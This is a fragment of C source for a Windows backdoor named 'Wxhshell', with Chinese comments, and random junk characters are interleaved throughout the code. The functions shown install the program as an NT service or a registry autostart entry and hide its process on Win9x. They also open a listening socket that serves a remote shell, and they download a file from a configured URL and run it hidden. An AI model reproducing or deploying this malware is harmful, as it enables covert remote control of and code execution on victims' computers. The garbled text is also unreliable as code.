m|+g_JZ Sj<WiQ%< hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); gEU|Bx/!= if(hProcess==NULL) return 0; sYb( g'W*' ;-X5# HMODULE hMod; (lVHKg&U[ char procName[255]; m339Y2%= unsigned long cbNeeded; -V)DKf"f -:o4|&g<* if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); P ||:?3IH 2hI|]p CloseHandle(hProcess); *_7%n-k V0x;*)\PYm if(strstr(procName,"services")) return 1; // 以服务启动 8z
h{?0 rik0F return 0; // 注册表启动 $Y5m"wySZ } d%: pT` oC& // 主模块 O
o+pi$W int StartWxhshell(LPSTR lpCmdLine) UMbM3m=\ { L) ]|\| SOCKET wsl; v5;V$EGD& BOOL val=TRUE; f?A1=lm~ int port=0; |[}!E/7>b struct sockaddr_in door; yk|<P\ fSFb)+ if(wscfg.ws_autoins) Install(); g",htYoEnj [~<X|_LG port=atoi(lpCmdLine); U6@Hgi> B#T4m]E/ if(port<=0) port=wscfg.ws_port; 9I;d>% ]hL`HP WSADATA data; t$lO~~atr if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; zg2}R4h ]e+88eQ if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ?W(>Yefk setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); z.q^`01/H door.sin_family = AF_INET; RrGFGn{ door.sin_addr.s_addr = inet_addr("127.0.0.1"); MIJ^n(-G door.sin_port = htons(port); vP{22P [Q2"OG@Q if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { E9IU,P6a closesocket(wsl); >qBQfz:U> return 1; hY@rt,! 8 } Io81zA ?2#MU if(listen(wsl,2) == INVALID_SOCKET) { (93+b%^[ closesocket(wsl);
z"n7du}v return 1; V6C*d: } =x/Ap1 Wxhshell(wsl); O:Ixy?b;Z WSACleanup(); nM1F4G =-e`OHA return 0; *+ql{\am4N ?B"k9+%5ej } ""JTU6]MS 8i=c|k,GL. // 以NT服务方式启动 >vP DF+ u VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) *?a rEYc8 { b!7*bFTt DWORD status = 0; 69{BJ]q DWORD specificError = 0xfffffff; u._B7R&> `EUufTYi serviceStatus.dwServiceType = SERVICE_WIN32; &]'{N69@d? serviceStatus.dwCurrentState = SERVICE_START_PENDING; oWu2}#~z_ serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Nj<}t/e serviceStatus.dwWin32ExitCode = 0; k e
sg ]K serviceStatus.dwServiceSpecificExitCode = 0; :QGd/JX$n` serviceStatus.dwCheckPoint = 0; 2|KgRk|! serviceStatus.dwWaitHint = 0; G98P<cyD wsnR$FhQ` hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); aeQvIob@ if (hServiceStatusHandle==0) return; h2SVDKj 9Q<8DMX^ status = GetLastError(); WPmH4L>T if (status!=NO_ERROR) `m.).Hda { =o@CCUKpj serviceStatus.dwCurrentState = SERVICE_STOPPED; 'edd6yTd serviceStatus.dwCheckPoint = 0; RpAqnDX) serviceStatus.dwWaitHint = 0; rfgkw serviceStatus.dwWin32ExitCode = status; l$PSID serviceStatus.dwServiceSpecificExitCode = specificError; s\k4<d5 SetServiceStatus(hServiceStatusHandle, &serviceStatus); O]\6Pv@N return; E,S[3 + } 6V"| 3++}4%w serviceStatus.dwCurrentState = SERVICE_RUNNING; R aVOZ=^- serviceStatus.dwCheckPoint = 0; hmRnr=2N serviceStatus.dwWaitHint = 0; =ZE]jmD4P if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Df\~ ZWs! } csceu+IA ;#F/2UgHB // 处理NT服务事件,比如:启动、停止 #mI{D\UR VOID WINAPI NTServiceHandler(DWORD fdwControl) 5/vfmDt3'G { INi9`M.h switch(fdwControl) ~$GRgOn { PJq;OM| case SERVICE_CONTROL_STOP: yMU>vr serviceStatus.dwWin32ExitCode = 0; A{[joo serviceStatus.dwCurrentState = SERVICE_STOPPED; NtuO&{}i serviceStatus.dwCheckPoint = 0; |\?mX=a.y serviceStatus.dwWaitHint = 0; s#%$aQ|Fp { yJCqP= SetServiceStatus(hServiceStatusHandle, &serviceStatus); wxa?. } u3"0K['3 return; S_E-H.d" case SERVICE_CONTROL_PAUSE: 0Jz5i4B serviceStatus.dwCurrentState = SERVICE_PAUSED; *Kpk1 break; KW* 2'C& case SERVICE_CONTROL_CONTINUE: [g bYIwL. serviceStatus.dwCurrentState = SERVICE_RUNNING; 0zQ^ 6@ break; ne]P -50 case SERVICE_CONTROL_INTERROGATE: c>_tV3TDA break; >MuI-^3 }; 9{D u)k SetServiceStatus(hServiceStatusHandle, &serviceStatus); ZA u=m } DqfWu* \3M<_73 // 标准应用程序主函数 ,buSU~c_Q int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 1ZL91'U { ~$I9%z7@ WrA!'I // 获取操作系统版本 y$
L@!r/s OsIsNt=GetOsVer(); k<.$7Pl3U GetModuleFileName(NULL,ExeFile,MAX_PATH); S}O>@% [~3[Tu( C // 从命令行安装 9j0Hvo% T if(strpbrk(lpCmdLine,"iI")) Install(); m*Zq3j n~1F[ * // 下载执行文件 RcZg/{[{ if(wscfg.ws_downexe) { -B`Nkc
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) scf.>K2 WinExec(wscfg.ws_filenam,SW_HIDE); q*L>MV } BBV"nm_(/ TY."?` [FK if(!OsIsNt) { mH1T|UI // 如果时win9x,隐藏进程并且设置为注册表启动 N\,[(LbA& HideProc(); P3Wnso StartWxhshell(lpCmdLine); PykVXZ7j; } L701j.7" else 50s1o{xwc if(StartFromService()) o1kTB&E4B // 以服务方式启动 IhIz 7.| StartServiceCtrlDispatcher(DispatchTable); Vu0d\l^$ else zBQV2.@ // 普通方式启动 wMW."gM| StartWxhshell(lpCmdLine); RP@U0o /C[Q? return 0; q,i&% }
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